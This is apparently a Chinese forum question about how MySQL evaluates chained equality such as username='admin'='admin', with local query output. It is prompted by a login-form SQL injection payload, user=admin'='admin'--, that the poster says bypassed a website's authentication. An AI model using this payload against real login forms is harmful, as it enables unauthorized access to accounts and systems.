mysql的where可以连等吗_SQL 语句 where 子句连等

昨天测试一个网站登录框 user=admin'='admin'-- &passwd=admin 绕过验证了。本地尝试时对连等的行为有点不理解

mysql> select * from users;

+----+-----------+----------+

| id | username | password |

+----+-----------+----------+

| 1 | admin | admin |

| 3 | guest | abcdefg |

| 2 | anonymous | 123456 |

+----+-----------+----------+

3 rows in set (0.00 sec)

mysql> select * from users where username='admin'='admin';

+----+-----------+----------+

| id | username | password |

+----+-----------+----------+

| 3 | guest | abcdefg |

| 2 | anonymous | 123456 |

+----+-----------+----------+

2 rows in set, 1 warning (0.00 sec)

mysql> select * from users where username='admin'='guest';

+----+-----------+----------+

| id | username | password |

+----+-----------+----------+

| 3 | guest | abcdefg |

| 2 | anonymous | 123456 |

+----+-----------+----------+

2 rows in set, 1 warning (0.00 sec)

mysql> select * from users where username='admin'='a';

+----+-----------+----------+

| id | username | password |

+----+-----------+----------+

| 3 | guest | abcdefg |

| 2 | anonymous | 123456 |

+----+-----------+----------+

2 rows in set, 1 warning (0.00 sec)

mysql> select * from users where username='admin'='1';

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | admin | admin |

+----+----------+----------+

1 row in set (0.00 sec)

mysql> select * from users where username='admin'='2';

Empty set (0.00 sec)

这里的解析逻辑是怎样的？